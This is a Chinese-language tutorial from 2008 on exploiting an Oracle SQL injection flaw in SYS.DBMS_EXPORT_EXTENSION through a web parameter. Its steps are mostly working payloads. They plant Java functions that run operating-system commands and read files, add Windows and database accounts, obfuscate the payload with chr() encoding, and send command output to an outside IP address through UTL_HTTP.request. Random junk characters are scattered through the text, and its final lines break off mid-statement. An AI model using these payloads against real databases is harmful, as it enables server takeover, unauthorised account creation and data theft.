以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 & y9 O$ `1 h" H+ h* ~ o+ I, Q
- t/ f+ a5 C# P- I: p /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) * @# s) x+ P' X/ p$ P# H
的形式即可。(用" 'a'|| "是为了让语句返回true值)
; L; z! ]) P, R1 _$ V- ~, \! `语句有点长,可能要用post提交。 1 D$ d4 |3 ~: a
以下是各个步骤: ' @: A( ` P: ]. J! ~
1.创建包
# l6 ~4 _4 c! R" Z( T, D通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:9 R$ @# |8 q, g5 H: R8 f& F/ b
/xxx.jsp?id=1 and '1'<>'a'||( 5 l4 y1 u7 c3 v: T+ S. n9 I' t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( J- d; {9 {# g& S' y
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
! {" D! Z' G$ z# @7 wnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}2 [; r; U: M) V( R3 l4 ~" H$ x/ u- w" }
}'''';END;'';END;--','SYS',0,'1',0) from dual
. u; L8 O0 |! w" f0 m) # I/ Y: {5 f: u1 L$ e/ G
------------------------
. t. n% R' }) d% V) U如果url有长度限制,可以把readFile()函数块去掉,即:
% l+ p" a" O' v% x" y/xxx.jsp?id=1 and '1'<>'a'||(
# N. R* b3 I( I3 bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 J8 `8 S) P. X8 N G0 @create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(9 g* c f0 Q H
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
/ P. \9 s/ A; Q}'''';END;'';END;--','SYS',0,'1',0) from dual
4 X3 D7 k. o$ T0 J) 2 c' H* g, H1 V+ t9 Z8 Z
同时把后面步骤 提到的 对readFile()的处理语句去掉。
$ Z1 b7 M0 {; n7 z------------------------------
% N! i) I+ Z+ Q2.赋Java权限
! {- x3 \: Y$ D! [5 j) m6 r$ nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual7 p4 s1 i+ @5 H, h; G5 S
3.创建函数 7 j; P: \* J: }% k' K. \- v, r6 a7 V
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 L- O; n5 F0 D ?- a6 ~8 Kcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual7 s( ]1 Q7 ~, G% ?0 }( G" L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
; M( Y$ T; V( _! l" m8 v8 I, e* W" dcreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual# `+ q/ N/ N' N; m' ]" _
4.赋public执行函数的权限 ( h6 k$ W- C" U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual0 R, t" N2 B) f! O$ o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual* @" |1 T9 @# S, T& u1 h
5.测试上面的几步是否成功
6 v2 M' a; K+ z' p& cand '1'<>'11'||(
- b5 k. n# D5 d+ o4 Dselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
* L6 y0 N+ P6 t1 @0 L/ f6 E)
5 G) D6 z" l. C$ V1 F |and '1'<>( : ?2 M' L7 i! @$ K1 `0 a) ?, K
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
4 O R9 @& s" N! |)
# s+ ?, `8 n. A7 Y6.执行命令: I& f# e9 G( m* X
/xxx.jsp?id=1 and '1'<>(
- n1 {+ n2 B8 m0 Qselect sys.LinxRunCMD('cmd /c net user linx /add') from dual 6 B' H" I K' L
9 V9 |# Z) i' L3 B
) f* [' P- t' w3 f. a- S
/xxx.jsp?id=1 and '1'<>(
3 K6 t! W7 e* w% o% f% ]select sys.LinxReadFile('c:/boot.ini') from dual
3 u0 Z; {! X/ o$ _- O8 W
( D5 h5 v- x$ C9 A: E1 [)
, _% _9 Q6 D/ L. h' A. T; h
" V- v( |- c! C$ m. q/ b* E注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
' D/ q+ M8 r& `& W! V8 }2 Z如果要查看运行结果可以用 union : . @) @6 s4 ?7 ^
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
q$ Z: P% Z& n4 x或者UTL_HTTP.request(:
8 ~/ j8 p' {: v$ ?( V7 I/xxx.jsp?id=1 and '1'<>(
1 O1 E/ x5 I9 Q! kSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual0 f6 N3 P- A" i3 I9 _$ s9 I6 Y
)
# a; y% ~1 `, u/xxx.jsp?id=1 and '1'<>( $ h' w! ^$ r- J! B) N, N+ A; E
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual6 X% G$ ?/ O' E. R: P$ s2 w$ G
)
9 h$ N- w. P) e5 e注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
( p+ R; z$ n3 G' K- a+ Y! R' b--------------------
* [' r- e2 J+ i2 e- @: d0 Y8 J. [6.内部变化 1 \8 [. @( }, x) A( l% \( r6 F
通过以下命令可以查看all_objects表达改变:
, [$ n7 ]5 t: M$ W+ O N+ Mselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
7 b% [% i8 \' B: a5 \7.删除我们创建的函数
+ q+ u# a+ A% P6 ^! O( |+ |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! j3 N# o8 B9 h6 ?# U# [! |! q6 Wdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
! s0 f; {+ G, h+ n- [& c8 p==================================================== + w& M9 r0 w6 D$ X, I5 ^
全文结束。谨以此文赠与我的朋友。 - x, m* W/ V" F: j
linx 1 H7 a, P0 S( L, h+ M& L0 h
124829445 3 V& [3 w g4 [2 D- p
2008.1.12
, O7 g: R% D5 x- Rlinyujian@bjfu.edu.cn
: J* D) H4 t; {! c9 R. H. o; m+ I====================================================================== ' q/ B# H4 [6 u: o* y
测试漏洞的另一方法:
' V6 V' {4 r+ q6 V$ X" J8 `! g创建oracle帐号: ( y* t; E/ ^/ o% R9 H5 q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 ^2 k* g3 @8 m2 r; v$ t6 uCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
* H/ F9 f5 ?" o4 q- y, x即: . v# z" C1 Z: _) m( _0 G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),- X* H( K- ^6 d
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual 2 o6 ^2 I8 p/ c" Z" o
确定漏洞存在: ! ]7 \4 ]" N5 k& C; I
1<>( - i% E2 N) }5 K
select user_id from all_users where username='LINXSQL'
0 A* C8 O* `; |& B! L) . ]9 ~; e/ c+ c+ i; H% m' e1 E% |6 w
给linxsql连接权限: + j& j5 |, D1 v. {+ h C7 W' ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
0 r( l8 X/ r3 ^( A# |/ R) ]& SGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual - d U: F: l) S: g' T# \
删除帐号: . z6 B: w. }" T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''4 F4 ?& _! S; V' S
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
- Q$ R9 B" w3 `; q8 N====================== ) S7 G; u/ U" \9 C3 n* ~
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
+ P5 b1 S' K6 q0 o" P' k1.jsp?id=1 and '1'<>(
1 q) U/ E$ M, xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ N" x O+ }" q# F/ |, Icreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
$ B' W8 K. [2 {7 w8 q4 q" e$ k/ T( S) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE: E l( _: |" l# u5 ]4 a
)4 @4 C$ d9 Z. r! [
8 O7 t9 t3 J9 w8 `( {
* U1 @( J: Q% J1 W8 M+ ?* f3 \. A8 t& x/ p
|